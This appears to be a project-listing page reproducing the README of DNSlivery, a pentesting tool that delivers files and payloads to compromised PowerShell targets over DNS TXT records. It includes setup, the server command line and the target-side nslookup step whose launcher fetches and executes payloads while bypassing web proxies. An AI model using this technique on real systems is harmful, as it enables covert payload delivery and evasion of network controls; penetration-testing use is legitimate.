All Projects → no0be → Dnslivery

no0be / Dnslivery

Licence: mit
Easy files and payloads delivery over DNS

Programming Languages

python
139335 projects - #7 most used programming language

Projects that are alternatives of or similar to Dnslivery

Dnsbrute
DNS Sub-domain brute forcer, in Python + gevent
Stars: ✭ 40 (-87.95%)
Mutual labels:  dns, pentesting
Getaltname
Extract subdomains from SSL certificates in HTTPS sites.
Stars: ✭ 320 (-3.61%)
Mutual labels:  dns, pentesting
Aiodnsbrute
Python 3.5+ DNS asynchronous brute force utility
Stars: ✭ 370 (+11.45%)
Mutual labels:  dns, pentesting
Gobuster
Directory/File, DNS and VHost busting tool written in Go
Stars: ✭ 5,356 (+1513.25%)
Mutual labels:  dns, pentesting
Bugcrowd Levelup Subdomain Enumeration
This repository contains all the material from the talk "Esoteric sub-domain enumeration techniques" given at Bugcrowd LevelUp 2017 virtual conference
Stars: ✭ 513 (+54.52%)
Mutual labels:  dns, pentesting
Dictionary Of Pentesting
Dictionary collection project such as Pentesing, Fuzzing, Bruteforce and BugBounty. 渗透测试、SRC漏洞挖掘、爆破、Fuzzing等字典收集项目。
Stars: ✭ 492 (+48.19%)
Mutual labels:  dns, pentesting
Information collection handbook
Handbook of information collection for penetration testing and src
Stars: ✭ 447 (+34.64%)
Mutual labels:  dns, pentesting
V3n0m Scanner
Popular Pentesting scanner in Python3.6 for SQLi/XSS/LFI/RFI and other Vulns
Stars: ✭ 847 (+155.12%)
Mutual labels:  dns, pentesting
QuickScan
Port scanning and domain utility.
Stars: ✭ 26 (-92.17%)
Mutual labels:  dns, pentesting
Pulsar
Network footprint scanner platform. Discover domains and run your custom checks periodically.
Stars: ✭ 314 (-5.42%)
Mutual labels:  dns
Containerdns
a fast DNS for Kubernetes clusters
Stars: ✭ 321 (-3.31%)
Mutual labels:  dns
Dns
Retrieve DNS records
Stars: ✭ 313 (-5.72%)
Mutual labels:  dns
Vajra
Vajra is a highly customizable target and scope based automated web hacking framework to automate boring recon tasks and same scans for multiple target during web applications penetration testing.
Stars: ✭ 269 (-18.98%)
Mutual labels:  pentesting
Osint tips
OSINT
Stars: ✭ 322 (-3.01%)
Mutual labels:  pentesting
Webanalyze
Port of Wappalyzer (uncovers technologies used on websites) to automate mass scanning.
Stars: ✭ 311 (-6.33%)
Mutual labels:  pentesting
Nacos
an easy-to-use dynamic service discovery, configuration and service management platform for building cloud native applications.
Stars: ✭ 20,691 (+6132.23%)
Mutual labels:  dns
Findom Xss
A fast DOM based XSS vulnerability scanner with simplicity.
Stars: ✭ 310 (-6.63%)
Mutual labels:  pentesting
Models
A collection of pre-trained, state-of-the-art models in the ONNX format
Stars: ✭ 4,226 (+1172.89%)
Mutual labels:  download
Kaboom
A tool to automate penetration tests
Stars: ✭ 322 (-3.01%)
Mutual labels:  pentesting
Dt
DNS tool - display information about your domain
Stars: ✭ 313 (-5.72%)
Mutual labels:  dns

python-3.7 Known Vulnerabilities

DNSlivery

Easy files and payloads delivery over DNS.

Acknowledgments

This project has been originally inspired by PowerDNS and Joff Thyer's technical segment on the Paul's Security Weekly podcast #590 (youtu.be/CP6cIwFJswQ).

Description

TL;DR

DNSlivery allows to deliver files to a target using DNS as the transport protocol.

Features:

  • allows to print, execute or save files to the target
  • does not require any client on the target
  • does not require a full-fledged DNS server

demo-target.git

What problem are you trying to solve?

Easily deliver files and/or payloads to a compromised target where classic web delivery is not possible and without the need for a dedicated client software. This applies to restricted environments where outgoing web traffic is forbidden or simply inspected by a curious web proxy.

web-delivery-blocked.png

Even though more complete DNS tunneling tools already exist (s.a. dnscat2 and iodine), they all require to run a dedicated client on the target. The problem is that there is probably no other way then DNS to deliver the client in such restricted environments. In other words, building a DNS communication channel with these tools require to already have a DNS communication channel.

In comparison, DNSlivery only provides one-way communication from your server to the target but does not require any dedicated client to do so. Thus, if you need to build a reliable two-way communication channel over DNS, use DNSlivery to deliver the client of a more advanced DNS tunneling tool to your target.

How does it work?

Just like most DNS tunneling tools, DNSlivery uses TXT records to store the content of files in their base64 representation. However, it does not require to setup a full-fledged DNS server to work. Instead, it uses the scapy library to listen for incoming DNS packets and craft the desired response.

network-process.png

As most files do not fit in a single TXT record, DNSlivery will create multiple ordered records containing base64 chunks of the file. As an example, the above diagram illustrates the delivery of the 42nd chunk of the file named file.

In order to retrieve all base64 chunks and put them back together without the need for a dedicated client on the target, DNSlivery will generate for every file:

  • a simple cleartext launcher
  • a reliable base64 encoded stager

two-stages-delivery.png

This two-stages delivery process is required to add features to the stager (s.a. handling lost DNS responses) that would otherwise not fit in a single TXT record.

Note on target compatibility

Currently, only PowerShell targets are supported. However, DNSlivery could be improved to support additional targets such as bash or python. Please let me know @no0be if this is a feature that you would like to see being implemented.

Requirements

DNSlivery does not require to build a complex server infrastructure. In fact, there are only two simple requirements:

  • be able to create a NS record in your public DNS zone
  • have a Linux server capable of receiving udp/53 traffic from the Internet

Setup

DNS Zone

The first step is to delegate a sub-domain to the server that will run DNSlivery by creating a new NS record in your domain. As an example, I created the following record to delegate the sub-domain dnsd.no0.be to the server at vps.no0.be.

dnsd    IN  NS vps.no0.be.

If your zone is managed by a third-party provider, refer to their documentation to create the NS record.

DNSlivery

The only requirements to run DNSlivery are python3 and its scapy library.

git clone https://github.com/no0be/DNSlivery.git && cd DNSlivery
pip install -r requirements.txt

Usage

Server

DNSlivery will serve all files of a given directory (pwd by default) and needs to be run with root privileges to listen for incoming udp/53 packets.

usage: dnslivery.py [-h] [-p PATH] [-s SIZE] [-v] interface domain nameserver

DNSlivery - Easy files and payloads delivery over DNS

positional arguments:
  interface             interface to listen to DNS traffic
  domain                FQDN name of the DNS zone
  nameserver            FQDN name of the server running DNSlivery

optional arguments:
  -h, --help            show this help message and exit
  -p PATH, --path PATH  path of directory to serve over DNS (default: pwd)
  -s SIZE, --size SIZE  size in bytes of base64 chunks (default: 255)
  -v, --verbose         increase verbosity

Example:

$ sudo python3 dnslivery.py eth0 dnsd.no0.be vps.no0.be -p /tmp/dns-delivery

DNSlivery - Easy files and payloads delivery over DNS

[*] File "file" ready for delivery at file.dnsd.no0.be (7 chunks)
[*] Listening for DNS queries...

Note on filename normalization

As the charset allowed for domain names is much more restrictive than for UNIX filenames (per RFC1035), DNSlivery will perform normalization when required.

Example:

[*] File "My Awesome Powershell Script ;).ps1" ready for delivery at my-awesome-powershell-script----ps1.dnsd.no0.be (1891 chunks)

Be aware that the current normalization code is not perfect as it does not take overlapping filenames or size limit into account.

Target

On the target, start by retrieving the launcher of the desired file by requesting its dedicated TXT record. The following three launchers are supported:

Action Launcher Description
Print [filename].print.[domain] (Default) Print the delivered file to the console
Execute [filename].exec.[domain] Execute the delivered file (useful for scripts)
Save [filename].save.[domain] Save the delivered file to disk (useful for binaries)
nslookup -type=txt [filename].[stager].[domain]

Then, simply copy and paste the launcher quoted in the DNS response to a PowerShell console to retrieve the file on the target.

Example:

demo-target.git

Note that the project description data, including the texts, logos, images, and/or trademarks, for each open source project belongs to its rightful owner. If you wish to add or remove any projects, please contact us at [email protected].